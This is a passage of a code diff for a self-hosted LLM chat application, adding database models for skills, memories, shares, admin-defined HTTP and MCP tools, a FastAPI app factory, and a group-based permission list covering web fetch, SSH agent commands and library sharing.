from a tool is trimmed with an explanation instead of failing the turn.
|
||||
"""
|
||||
|
||||
__tablename__ = "memories"
|
||||
|
||||
owner_id: Mapped[str] = mapped_column(
|
||||
String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
|
||||
)
|
||||
content: Mapped[str] = mapped_column(Text, nullable=False)
|
||||
author: Mapped[str] = mapped_column(String(16), default=AUTHOR_MODEL, nullable=False)
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<Memory {self.content[:40]!r}>"
|
||||
|
||||
|
||||
class Skill(UUIDPrimaryKey, Timestamps, Base):
|
||||
"""A named set of instructions the model can choose to follow.
|
||||
|
||||
`description` is the load-bearing field: it is what gets injected, and it is
|
||||
the only thing the model has to decide whether the skill is relevant. The
|
||||
body is fetched with a tool.
|
||||
"""
|
||||
|
||||
__tablename__ = "skills"
|
||||
__table_args__ = (UniqueConstraint("owner_id", "name"),)
|
||||
|
||||
owner_id: Mapped[str] = mapped_column(
|
||||
String(32), ForeignKey("users.id", ondelete="CASCADE"), nullable=False, index=True
|
||||
)
|
||||
# Slug, referenced by the model when it asks for the body.
|
||||
name: Mapped[str] = mapped_column(String(120), nullable=False)
|
||||
description: Mapped[str] = mapped_column(Text, default="")
|
||||
body: Mapped[str] = mapped_column(Text, default="")
|
||||
enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
|
||||
author: Mapped[str] = mapped_column(String(16), default=AUTHOR_USER, nullable=False)
|
||||
|
||||
revisions: Mapped[list[SkillRevision]] = relationship(
|
||||
back_populates="skill",
|
||||
cascade="all, delete-orphan",
|
||||
order_by="SkillRevision.created_at.desc()",
|
||||
)
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<Skill {self.name}>"
|
||||
|
||||
|
||||
class SkillRevision(UUIDPrimaryKey, Timestamps, Base):
|
||||
"""The state of a skill before a change.
|
||||
|
||||
A model may rewrite its own skills, so every write snapshots what was there
|
||||
first. That is the whole safety story for self-modification: not a gate, but
|
||||
a record and a way back.
|
||||
"""
|
||||
|
||||
__tablename__ = "skill_revisions"
|
||||
|
||||
skill_id: Mapped[str] = mapped_column(
|
||||
String(32), ForeignKey("skills.id", ondelete="CASCADE"), nullable=False, index=True
|
||||
)
|
||||
description: Mapped[str] = mapped_column(Text, default="")
|
||||
body: Mapped[str] = mapped_column(Text, default="")
|
||||
# Who made the change this revision is the "before" of.
|
||||
author: Mapped[str] = mapped_column(String(16), default=AUTHOR_USER, nullable=False)
|
||||
note: Mapped[str] = mapped_column(String(200), default="")
|
||||
|
||||
skill: Mapped[Skill] = relationship(back_populates="revisions")
|
||||
|
||||
|
||||
class Share(UUIDPrimaryKey, Timestamps, Base):
|
||||
"""One grant of access to one resource.
|
||||
|
||||
A single table across documents, notes and skills rather than three
|
||||
association tables, because the rule is identical in all three cases and
|
||||
``services.sharing`` is the only thing that reads it.
|
||||
|
||||
A grant, never a denial -- the same principle as group permissions. Somebody
|
||||
who cannot see a resource simply has no row here.
|
||||
"""
|
||||
|
||||
__tablename__ = "shares"
|
||||
__table_args__ = (
|
||||
UniqueConstraint(
|
||||
"resource_type", "resource_id", "principal_type", "principal_id"
|
||||
),
|
||||
)
|
||||
|
||||
resource_type: Mapped[str] = mapped_column(String(16), nullable=False)
|
||||
resource_id: Mapped[str] = mapped_column(String(32), nullable=False)
|
||||
|
||||
principal_type: Mapped[str] = mapped_column(String(16), nullable=False)
|
||||
# No foreign key: this column points at users or groups depending on
|
||||
# principal_type, and SQLite cannot express that. services.sharing deletes
|
||||
# dangling rows when a user or group goes.
|
||||
principal_id: Mapped[str] = mapped_column(String(32), nullable=False)
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<Share {self.resource_type}:{self.resource_id} -> {self.principal_type}>"
|
||||
|
||||
|
||||
Index("ix_shares_resource", Share.resource_type, Share.resource_id)
|
||||
Index("ix_shares_principal", Share.principal_type, Share.principal_id)
|
||||
@@ -0,0 +1,32 @@
|
||||
"""Starting points offered on the new-chat screen."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from sqlalchemy import Boolean, Integer, String, Text
|
||||
from sqlalchemy.orm import Mapped, mapped_column
|
||||
|
||||
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
|
||||
|
||||
|
||||
class Suggestion(UUIDPrimaryKey, Timestamps, Base):
|
||||
"""One card on the empty chat screen.
|
||||
|
||||
Instance-wide rather than per-user: these are what an administrator wants
|
||||
people to start with, the same way the instance system prompt is. There is
|
||||
no owner_id and therefore nothing for `sharing` to decide.
|
||||
"""
|
||||
|
||||
__tablename__ = "suggestions"
|
||||
|
||||
name: Mapped[str] = mapped_column(String(120), nullable=False)
|
||||
description: Mapped[str] = mapped_column(String(300), default="")
|
||||
# Sent as the first message the moment the card is clicked, so it has to
|
||||
# stand on its own -- there is no chance to add anything to it first. The
|
||||
# built-ins ask for what they need rather than assuming material.
|
||||
prompt: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
|
||||
position: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<Suggestion {self.name}>"
|
||||
@@ -0,0 +1,187 @@
|
||||
"""Tools an administrator defined: HTTP endpoints and remote MCP servers.
|
||||
|
||||
Both are instance configuration rather than someone's content, so access is
|
||||
shaped like `Model` and not like a note: a row is either public or reachable
|
||||
through the groups it names, resolved the way `permissions.models_visible_to`
|
||||
resolves a model. There is deliberately no per-user tool. A tool is a credential
|
||||
pointed at a third party, and "anyone may define one" is a different feature
|
||||
with a different threat model.
|
||||
|
||||
The two tables are near-twins on purpose -- name, slug, secret, group list,
|
||||
last check -- because an administrator adding one should not have to learn a
|
||||
second screen. What differs is what sits between the row and the model: a
|
||||
custom tool *is* one call, described here in full, while an MCP server is a
|
||||
conversation whose tools are discovered and cached.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from datetime import datetime
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
from sqlalchemy import Boolean, Column, DateTime, ForeignKey, Integer, String, Table, Text
|
||||
from sqlalchemy.orm import Mapped, mapped_column, relationship
|
||||
|
||||
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
|
||||
from lembas.db.types import JSONDict, JSONList
|
||||
|
||||
if TYPE_CHECKING:
|
||||
# Annotation only; SQLAlchemy resolves the real class from its registry.
|
||||
from lembas.db.models.user import Group
|
||||
|
||||
# How a row's secret is attached to a request. Stored values, so these are
|
||||
# schema rather than presentation.
|
||||
SECRET_NONE = "none"
|
||||
SECRET_BEARER = "bearer"
|
||||
SECRET_HEADER = "header"
|
||||
SECRET_QUERY = "query"
|
||||
|
||||
SECRET_PLACEMENTS = (SECRET_NONE, SECRET_BEARER, SECRET_HEADER, SECRET_QUERY)
|
||||
|
||||
# How a response becomes text for the model.
|
||||
RESPONSE_TEXT = "text" # prose; HTML reduced by fetch.html_to_text
|
||||
RESPONSE_JSON = "json" # parsed, narrowed by response_path, pretty-printed
|
||||
RESPONSE_RAW = "raw" # verbatim, truncated -- CSV, plain logs
|
||||
|
||||
RESPONSE_MODES = (RESPONSE_TEXT, RESPONSE_JSON, RESPONSE_RAW)
|
||||
|
||||
custom_tool_groups = Table(
|
||||
"custom_tool_groups",
|
||||
Base.metadata,
|
||||
Column(
|
||||
"tool_id", String(32), ForeignKey("custom_tools.id", ondelete="CASCADE"), primary_key=True
|
||||
),
|
||||
Column("group_id", String(32), ForeignKey("groups.id", ondelete="CASCADE"), primary_key=True),
|
||||
)
|
||||
|
||||
mcp_server_groups = Table(
|
||||
"mcp_server_groups",
|
||||
Base.metadata,
|
||||
Column(
|
||||
"server_id", String(32), ForeignKey("mcp_servers.id", ondelete="CASCADE"), primary_key=True
|
||||
),
|
||||
Column("group_id", String(32), ForeignKey("groups.id", ondelete="CASCADE"), primary_key=True),
|
||||
)
|
||||
|
||||
|
||||
class CustomTool(UUIDPrimaryKey, Timestamps, Base):
|
||||
"""One HTTP call, described well enough for a model to decide to make it."""
|
||||
|
||||
__tablename__ = "custom_tools"
|
||||
|
||||
# `slug` IS the function name sent to the endpoint, so it is bound by the
|
||||
# charset those accept and is fixed once the row exists: it is also half of
|
||||
# this tool's prompt-fragment key. `name` is the human label, shown in the
|
||||
# admin list and in the transcript.
|
||||
slug: Mapped[str] = mapped_column(String(64), unique=True, nullable=False)
|
||||
name: Mapped[str] = mapped_column(String(120), nullable=False)
|
||||
|
||||
# Sent verbatim in the tools array. The only thing the model has to decide
|
||||
# with, which is why the form insists on it.
|
||||
description: Mapped[str] = mapped_column(Text, default="")
|
||||
parameters_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
|
||||
|
||||
# The *default* text of this tool's harness fragment. An administrator's
|
||||
# edit on /admin/prompts is an override stored in the settings group like
|
||||
# any other, so a tool deleted and recreated under the same slug keeps the
|
||||
# wording somebody chose for it.
|
||||
guidance: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
method: Mapped[str] = mapped_column(String(8), default="GET", nullable=False)
|
||||
# {{name}} placeholders, filled from the call's arguments. The scheme and
|
||||
# the host must be literal -- see services/custom_tools.py for why.
|
||||
url_template: Mapped[str] = mapped_column(String(1000), nullable=False)
|
||||
body_template: Mapped[str] = mapped_column(Text, default="")
|
||||
headers_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
|
||||
|
||||
secret_encrypted: Mapped[str] = mapped_column(Text, default="")
|
||||
secret_placement: Mapped[str] = mapped_column(
|
||||
String(16), default=SECRET_BEARER, nullable=False
|
||||
)
|
||||
secret_name: Mapped[str] = mapped_column(String(120), default="Authorization")
|
||||
|
||||
response_mode: Mapped[str] = mapped_column(String(16), default=RESPONSE_TEXT, nullable=False)
|
||||
# A dotted path into a JSON response: "data.items.0.title". Empty is the
|
||||
# whole document. Not JSONPath -- that is a dependency and a syntax nobody
|
||||
# would remember for the one field they want.
|
||||
response_path: Mapped[str] = mapped_column(String(300), default="")
|
||||
max_chars: Mapped[int] = mapped_column(Integer, default=8000, nullable=False)
|
||||
timeout: Mapped[int] = mapped_column(Integer, default=20, nullable=False)
|
||||
|
||||
# Whether this row may reach loopback, private or link-local addresses. Per
|
||||
# row rather than the instance-wide search setting: an administrator naming
|
||||
# http://127.0.0.1:11434 by hand is not the same act as a model handing the
|
||||
# fetcher a URL it read on a page.
|
||||
allow_private: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
|
||||
|
||||
enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
|
||||
public: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
|
||||
position: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
|
||||
last_checked_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
|
||||
last_error: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
groups: Mapped[list[Group]] = relationship(
|
||||
"Group", secondary=custom_tool_groups, back_populates="custom_tools"
|
||||
)
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<CustomTool {self.slug}>"
|
||||
|
||||
|
||||
class McpServer(UUIDPrimaryKey, Timestamps, Base):
|
||||
"""A remote MCP server, reached over streamable HTTP.
|
||||
|
||||
The tools it advertises are cached in `tools_json` rather than given a table
|
||||
of their own. A discovered tool carries exactly one administrator decision
|
||||
-- offered or not, which `tool_overrides_json` holds -- while credentials,
|
||||
guidance and access are all per server; and the whole list is replaced on
|
||||
every refresh, so a table would mean reconciling rows against a cache of
|
||||
somebody else's document.
|
||||
"""
|
||||
|
||||
__tablename__ = "mcp_servers"
|
||||
|
||||
# Prefixed onto every tool name this server advertises, so that two servers
|
||||
# both exposing "search" do not collide and neither shadows a built-in.
|
||||
slug: Mapped[str] = mapped_column(String(24), unique=True, nullable=False)
|
||||
name: Mapped[str] = mapped_column(String(120), nullable=False)
|
||||
url: Mapped[str] = mapped_column(String(1000), nullable=False)
|
||||
|
||||
guidance: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
secret_encrypted: Mapped[str] = mapped_column(Text, default="")
|
||||
secret_placement: Mapped[str] = mapped_column(
|
||||
String(16), default=SECRET_BEARER, nullable=False
|
||||
)
|
||||
secret_name: Mapped[str] = mapped_column(String(120), default="Authorization")
|
||||
headers_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
|
||||
|
||||
timeout: Mapped[int] = mapped_column(Integer, default=30, nullable=False)
|
||||
max_chars: Mapped[int] = mapped_column(Integer, default=8000, nullable=False)
|
||||
allow_private: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False)
|
||||
|
||||
# The last tools/list, cached. One entry per tool:
|
||||
# {"name", "offer_name", "description", "schema"}.
|
||||
tools_json: Mapped[list[Any]] = mapped_column(JSONList, default=list)
|
||||
# Per-tool switch, keyed by the server's own name for it. Absent means on,
|
||||
# the same rule the model capability flags follow, so a newly advertised
|
||||
# tool works rather than silently doing nothing.
|
||||
tool_overrides_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
|
||||
# What the server answered at initialize, for the admin list.
|
||||
protocol_version: Mapped[str] = mapped_column(String(32), default="")
|
||||
server_info: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
|
||||
|
||||
enabled: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
|
||||
public: Mapped[bool] = mapped_column(Boolean, default=True, nullable=False)
|
||||
position: Mapped[int] = mapped_column(Integer, default=0, nullable=False)
|
||||
|
||||
last_checked_at: Mapped[datetime | None] = mapped_column(DateTime(timezone=True))
|
||||
last_error: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
groups: Mapped[list[Group]] = relationship(
|
||||
"Group", secondary=mcp_server_groups, back_populates="mcp_servers"
|
||||
)
|
||||
|
||||
def __repr__(self) -> str:
|
||||
return f"<McpServer {self.slug}>"
|
||||
@@ -3,7 +3,7 @@
|
||||
from __future__ import annotations
|
||||
|
||||
from datetime import datetime
|
||||
from typing import Any
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
from sqlalchemy import Boolean, Column, DateTime, ForeignKey, Index, String, Table, Text
|
||||
from sqlalchemy.orm import Mapped, mapped_column, relationship
|
||||
@@ -11,6 +11,11 @@ from sqlalchemy.orm import Mapped, mapped_column, relationship
|
||||
from lembas.db.base import Base, Timestamps, UUIDPrimaryKey
|
||||
from lembas.db.types import JSONDict
|
||||
|
||||
if TYPE_CHECKING:
|
||||
# Annotation only; SQLAlchemy resolves the real class from its registry.
|
||||
from lembas.db.models.connection import Model
|
||||
from lembas.db.models.tool import CustomTool, McpServer
|
||||
|
||||
# Roles are a simple ordered ladder rather than a permission matrix. Groups
|
||||
# (below) carry finer-grained permissions once the users/groups UI lands.
|
||||
ROLE_ADMIN = "admin"
|
||||
@@ -58,9 +63,22 @@ class Group(UUIDPrimaryKey, Timestamps, Base):
|
||||
|
||||
name: Mapped[str] = mapped_column(String(120), unique=True, nullable=False)
|
||||
description: Mapped[str] = mapped_column(Text, default="")
|
||||
|
||||
# Only the granted keys need be present. Absent means "no opinion", not
|
||||
# "deny" -- permissions union across a user's groups. See
|
||||
# lembas.security.permissions.
|
||||
permissions_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
|
||||
|
||||
users: Mapped[list[User]] = relationship(secondary=user_groups, back_populates="groups")
|
||||
models: Mapped[list[Model]] = relationship(
|
||||
"Model", secondary="model_groups", back_populates="groups"
|
||||
)
|
||||
custom_tools: Mapped[list[CustomTool]] = relationship(
|
||||
"CustomTool", secondary="custom_tool_groups", back_populates="groups"
|
||||
)
|
||||
mcp_servers: Mapped[list[McpServer]] = relationship(
|
||||
"McpServer", secondary="mcp_server_groups", back_populates="groups"
|
||||
)
|
||||
|
||||
|
||||
class Session(UUIDPrimaryKey, Timestamps, Base):
|
||||
|
||||
@@ -10,7 +10,6 @@ from sqlalchemy import Engine, create_engine, event
|
||||
from sqlalchemy.orm import Session, sessionmaker
|
||||
|
||||
from lembas.config import settings
|
||||
from lembas.db.base import Base
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
@@ -63,15 +62,17 @@ def get_session_factory() -> sessionmaker[Session]:
|
||||
|
||||
|
||||
def init_db() -> None:
|
||||
"""Create any missing tables.
|
||||
"""Bring the database up to the declared schema.
|
||||
|
||||
This is ``CREATE TABLE IF NOT EXISTS`` only -- it never alters an existing
|
||||
table. There is no migration tool in this project by design, so changing a
|
||||
column on a model requires migrating the database by hand.
|
||||
Creates missing tables and adds missing columns -- see db/migrations.py for
|
||||
what that does and does not cover. Additive changes need nothing else;
|
||||
renames, drops and retypes are still a hand job.
|
||||
"""
|
||||
import lembas.db.models # noqa: F401 (registers tables on the metadata)
|
||||
from lembas.db.migrations import sync_schema
|
||||
|
||||
Base.metadata.create_all(bind=get_engine())
|
||||
changes = sync_schema(get_engine())
|
||||
if changes:
|
||||
log.info("database schema updated: %s", ", ".join(changes))
|
||||
log.debug("schema ensured at %s", settings.db_path)
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,194 @@
|
||||
"""Application factory, lifespan and error handling."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from collections.abc import AsyncIterator
|
||||
from contextlib import asynccontextmanager
|
||||
|
||||
from fastapi import FastAPI, Request, status
|
||||
from fastapi.responses import JSONResponse, Response
|
||||
from fastapi.staticfiles import StaticFiles
|
||||
from starlette.exceptions import HTTPException as StarletteHTTPException
|
||||
|
||||
from lembas import __version__
|
||||
from lembas.api import (
|
||||
admin,
|
||||
admin_agents,
|
||||
admin_audio,
|
||||
admin_models,
|
||||
admin_prompts,
|
||||
admin_search,
|
||||
admin_suggestions,
|
||||
admin_tools,
|
||||
admin_users,
|
||||
agents,
|
||||
audio,
|
||||
auth,
|
||||
chats,
|
||||
files,
|
||||
folders,
|
||||
library,
|
||||
pages,
|
||||
preferences,
|
||||
terminal,
|
||||
)
|
||||
from lembas.api.deps import RedirectToLogin, is_htmx, login_redirect
|
||||
from lembas.config import settings
|
||||
from lembas.db.session import init_db
|
||||
from lembas.web.templating import STATIC_DIR, render
|
||||
|
||||
log = logging.getLogger("lembas")
|
||||
|
||||
|
||||
def configure_logging() -> None:
|
||||
logging.basicConfig(
|
||||
level=settings.log_level.upper(),
|
||||
format="%(asctime)s %(levelname)-7s %(name)s: %(message)s",
|
||||
datefmt="%H:%M:%S",
|
||||
)
|
||||
|
||||
|
||||
@asynccontextmanager
|
||||
async def lifespan(app: FastAPI) -> AsyncIterator[None]:
|
||||
configure_logging()
|
||||
settings.ensure_dirs()
|
||||
init_db()
|
||||
|
||||
if settings.secret_key_is_ephemeral:
|
||||
log.warning(
|
||||
"No LEMBAS_SECRET_KEY set, so a temporary one was generated. Every "
|
||||
"restart will sign all users out and make stored API keys "
|
||||
"unreadable. Generate a permanent key with:\n"
|
||||
' python -c "import secrets; print(secrets.token_urlsafe(48))"'
|
||||
)
|
||||
|
||||
# Files chosen in a composer that was never sent would otherwise sit on
|
||||
# disk forever. Cheap, and startup is the natural moment for it.
|
||||
try:
|
||||
from lembas.db.session import session_scope
|
||||
from lembas.services.chat import sweep_temporary
|
||||
from lembas.services.files import sweep_orphans
|
||||
from lembas.services.library.documents import sweep_unfiled
|
||||
from lembas.services.suggestions import seed_defaults as seed_suggestions
|
||||
|
||||
with session_scope() as db:
|
||||
sweep_orphans(db)
|
||||
# Documents that predate knowledge bases have nowhere to live until
|
||||
# this runs; see services/library/documents.py.
|
||||
sweep_unfiled(db)
|
||||
# Temporary chats older than a day. Startup only, like the sweeps
|
||||
# above it -- see services/chat.py:sweep_temporary.
|
||||
sweep_temporary(db)
|
||||
# Three starting points on the empty screen, written once ever.
|
||||
seed_suggestions(db)
|
||||
except Exception: # noqa: BLE001 - housekeeping must never block startup
|
||||
log.exception("orphaned upload sweep failed")
|
||||
|
||||
log.info("LLeMbas %s starting on http://%s:%s", __version__, settings.host, settings.port)
|
||||
log.info("data directory: %s", settings.data_dir.resolve())
|
||||
yield
|
||||
|
||||
# Replies still being written are cancelled and persisted with whatever
|
||||
# they have, rather than left as permanently unfinished rows.
|
||||
from lembas.services.agent.terminal import shutdown as stop_terminals
|
||||
from lembas.services.generation import shutdown as stop_generations
|
||||
|
||||
await stop_generations()
|
||||
# Open shells have nothing to persist: whatever was running on the far side
|
||||
# is cut off mid-command. Every deploy does this, and the panel is told why
|
||||
# rather than left to guess -- see deploy/README.md.
|
||||
await stop_terminals()
|
||||
log.info("LLeMbas stopped")
|
||||
|
||||
|
||||
def create_app() -> FastAPI:
|
||||
app = FastAPI(
|
||||
title="LLeMbas",
|
||||
version=__version__,
|
||||
lifespan=lifespan,
|
||||
# The API is an implementation detail of the UI, not a product surface.
|
||||
docs_url="/api/docs" if settings.log_level == "debug" else None,
|
||||
redoc_url=None,
|
||||
)
|
||||
|
||||
app.mount("/static", StaticFiles(directory=str(STATIC_DIR)), name="static")
|
||||
|
||||
app.include_router(pages.router)
|
||||
app.include_router(auth.router)
|
||||
app.include_router(preferences.router)
|
||||
app.include_router(chats.router)
|
||||
app.include_router(terminal.router)
|
||||
app.include_router(audio.router)
|
||||
app.include_router(files.router)
|
||||
app.include_router(folders.router)
|
||||
app.include_router(library.router)
|
||||
app.include_router(agents.router)
|
||||
app.include_router(admin.router)
|
||||
app.include_router(admin_users.router)
|
||||
app.include_router(admin_models.router)
|
||||
app.include_router(admin_audio.router)
|
||||
app.include_router(admin_search.router)
|
||||
app.include_router(admin_prompts.router)
|
||||
app.include_router(admin_suggestions.router)
|
||||
app.include_router(admin_tools.router)
|
||||
app.include_router(admin_agents.router)
|
||||
|
||||
register_error_handlers(app)
|
||||
return app
|
||||
|
||||
|
||||
def register_error_handlers(app: FastAPI) -> None:
|
||||
@app.exception_handler(RedirectToLogin)
|
||||
async def _not_signed_in(request: Request, exc: RedirectToLogin) -> Response:
|
||||
# An htmx request must not swap a login page into a fragment of the
|
||||
# chat UI, so tell the browser to navigate instead.
|
||||
if is_htmx(request):
|
||||
response = Response(status_code=status.HTTP_204_NO_CONTENT)
|
||||
response.headers["HX-Redirect"] = "/auth/login"
|
||||
return response
|
||||
return login_redirect(exc.next_url)
|
||||
|
||||
@app.exception_handler(StarletteHTTPException)
|
||||
async def _http_error(request: Request, exc: StarletteHTTPException) -> Response:
|
||||
# JSON callers and htmx fragments want the bare status; humans loading a
|
||||
# page want a themed page they can navigate away from.
|
||||
wants_page = "text/html" in request.headers.get("accept", "") and not is_htmx(request)
|
||||
if not wants_page:
|
||||
return JSONResponse({"detail": exc.detail}, status_code=exc.status_code)
|
||||
|
||||
return render(
|
||||
request,
|
||||
"error.html",
|
||||
{
|
||||
"status_code": exc.status_code,
|
||||
"detail": exc.detail,
|
||||
"flavour": ERROR_FLAVOUR.get(exc.status_code, ERROR_FLAVOUR[500]),
|
||||
},
|
||||
status_code=exc.status_code,
|
||||
)
|
||||
|
||||
@app.exception_handler(Exception)
|
||||
async def _unhandled(request: Request, exc: Exception) -> Response:
|
||||
log.exception("unhandled error at %s", request.url.path)
|
||||
if is_htmx(request) or "text/html" not in request.headers.get("accept", ""):
|
||||
return JSONResponse({"detail": "Internal server error"}, status_code=500)
|
||||
return render(
|
||||
request,
|
||||
"error.html",
|
||||
{"status_code": 500, "detail": "Something went wrong.",
|
||||
"flavour": ERROR_FLAVOUR[500]},
|
||||
status_code=500,
|
||||
)
|
||||
|
||||
|
||||
# Flavour lives in error pages, empty states and theme names -- never in the
|
||||
# functional UI. See CLAUDE.md.
|
||||
ERROR_FLAVOUR = {
|
||||
403: "Speak, friend, and enter. This door is not yours to open.",
|
||||
404: "Not all those who wander are lost. This page, however, is.",
|
||||
500: "The Road goes ever on, but this stretch of it has washed out.",
|
||||
}
|
||||
|
||||
|
||||
app = create_app()
|
||||
@@ -8,7 +8,7 @@ defaults tighten in a future release.
|
||||
from __future__ import annotations
|
||||
|
||||
from argon2 import PasswordHasher
|
||||
from argon2.exceptions import InvalidHashError, VerifyMismatchError, VerificationError
|
||||
from argon2.exceptions import InvalidHashError, VerificationError, VerifyMismatchError
|
||||
|
||||
_hasher = PasswordHasher()
|
||||
|
||||
|
||||
@@ -0,0 +1,280 @@
|
||||
"""Permission vocabulary and resolution.
|
||||
|
||||
The model is deliberately small: a flat set of named booleans, granted by an
|
||||
instance-wide baseline and widened by group membership. Permissions are a union
|
||||
across groups -- being in a second group can only ever grant more, never take
|
||||
away. That is the behaviour people expect, and the alternative (a deny that
|
||||
wins) makes "why can this user not do X" unanswerable without simulating every
|
||||
group.
|
||||
|
||||
Administrators bypass the whole thing. There is no permission that can be
|
||||
withheld from an admin, because an admin can grant it back to themselves in two
|
||||
clicks; pretending otherwise would be theatre.
|
||||
|
||||
Model *access* is separate and lives in models_visible_to(): a permission says
|
||||
what a user may do, model access says which models they may do it with.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from dataclasses import dataclass
|
||||
|
||||
from sqlalchemy import select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import Connection, Model, User
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class PermissionDef:
|
||||
key: str
|
||||
label: str
|
||||
description: str
|
||||
default: bool
|
||||
group: str
|
||||
|
||||
|
||||
# The order here is the order they render in the admin UI.
|
||||
PERMISSION_DEFS: tuple[PermissionDef, ...] = (
|
||||
PermissionDef(
|
||||
"chat.create", "Start chats", "Create new conversations.", True, "Chat"
|
||||
),
|
||||
PermissionDef(
|
||||
"chat.delete", "Delete chats", "Delete their own conversations.", True, "Chat"
|
||||
),
|
||||
PermissionDef(
|
||||
"chat.system_prompt",
|
||||
"Set system prompts",
|
||||
"Give an individual chat its own system prompt.",
|
||||
True,
|
||||
"Chat",
|
||||
),
|
||||
PermissionDef(
|
||||
"chat.params",
|
||||
"Adjust sampling",
|
||||
"Change temperature, top-p and similar per chat.",
|
||||
False,
|
||||
"Chat",
|
||||
),
|
||||
PermissionDef(
|
||||
"chat.model_select",
|
||||
"Choose the model",
|
||||
"Switch a chat to a different model. Without this, chats use the default.",
|
||||
True,
|
||||
"Chat",
|
||||
),
|
||||
PermissionDef(
|
||||
"folder.manage",
|
||||
"Manage folders",
|
||||
"Create, rename, nest and delete folders.",
|
||||
True,
|
||||
"Workspace",
|
||||
),
|
||||
PermissionDef(
|
||||
"files.upload",
|
||||
"Attach files",
|
||||
"Attach images, PDFs and text files to a message. Images only reach "
|
||||
"models marked as having vision.",
|
||||
True,
|
||||
"Workspace",
|
||||
),
|
||||
PermissionDef(
|
||||
"tools.web_search",
|
||||
"Search the web",
|
||||
"Let a model look things up while it answers. Only offered to models "
|
||||
"marked as supporting tools, and only when web search is configured.",
|
||||
True,
|
||||
"Chat",
|
||||
),
|
||||
PermissionDef(
|
||||
"tools.fetch",
|
||||
"Fetch a page",
|
||||
"Let a model retrieve one web page and read it, given its address. "
|
||||
"Addresses on this machine and this network are refused unless an "
|
||||
"administrator has allowed them.",
|
||||
True,
|
||||
"Chat",
|
||||
),
|
||||
PermissionDef(
|
||||
"tools.custom",
|
||||
"Use custom tools",
|
||||
"Let a model call the HTTP tools an administrator has defined. Which "
|
||||
"ones depends on the groups each tool is restricted to.",
|
||||
True,
|
||||
"Chat",
|
||||
),
|
||||
PermissionDef(
|
||||
"tools.mcp",
|
||||
"Use MCP servers",
|
||||
"Let a model call tools from the MCP servers an administrator has "
|
||||
"added. Which ones depends on the groups each server is restricted to.",
|
||||
True,
|
||||
"Chat",
|
||||
),
|
||||
PermissionDef(
|
||||
"agent.ssh",
|
||||
"Save SSH connections",
|
||||
"Keep connection profiles for machines of their own. The credential is "
|
||||
"encrypted here, and whoever saves it decides which host it opens.",
|
||||
False,
|
||||
"Agent",
|
||||
),
|
||||
PermissionDef(
|
||||
"tools.agent",
|
||||
"Run commands",
|
||||
"Let a model read files, write files and run commands on one of their "
|
||||
"SSH connections. What it may do without asking depends on the chat's "
|
||||
"mode. Nothing runs on this server.",
|
||||
False,
|
||||
"Agent",
|
||||
),
|
||||
PermissionDef(
|
||||
"agent.terminal",
|
||||
"Open a terminal",
|
||||
"Open an interactive shell on one of their own SSH connections, from "
|
||||
"inside the chat. What they type there is theirs: the chat's mode "
|
||||
"governs the model, not the person at the keyboard.",
|
||||
False,
|
||||
"Agent",
|
||||
),
|
||||
PermissionDef(
|
||||
"tools.ask",
|
||||
"Be asked questions",
|
||||
"Let a model stop mid-reply and ask you something, with answers to pick "
|
||||
"from or a box to write your own.",
|
||||
True,
|
||||
"Chat",
|
||||
),
|
||||
PermissionDef(
|
||||
"audio.transcribe",
|
||||
"Dictate messages",
|
||||
"Speak a message instead of typing it. Needs a transcription endpoint.",
|
||||
True,
|
||||
"Audio",
|
||||
),
|
||||
PermissionDef(
|
||||
"audio.listen",
|
||||
"Play replies aloud",
|
||||
"Have a reply read out. Needs a speech endpoint.",
|
||||
True,
|
||||
"Audio",
|
||||
),
|
||||
PermissionDef(
|
||||
"library.use",
|
||||
"Use the library",
|
||||
"Keep knowledge documents, notes, memories and skills of their own.",
|
||||
True,
|
||||
"Library",
|
||||
),
|
||||
PermissionDef(
|
||||
"library.share",
|
||||
"Share library items",
|
||||
"Give other people, or a group, access to their documents, notes and "
|
||||
"skills. Sharing grants reading only.",
|
||||
False,
|
||||
"Library",
|
||||
),
|
||||
PermissionDef(
|
||||
"tools.knowledge",
|
||||
"Search their knowledge",
|
||||
"Let a model search the documents this user has collected.",
|
||||
True,
|
||||
"Library",
|
||||
),
|
||||
PermissionDef(
|
||||
"tools.notes",
|
||||
"Read and write notes",
|
||||
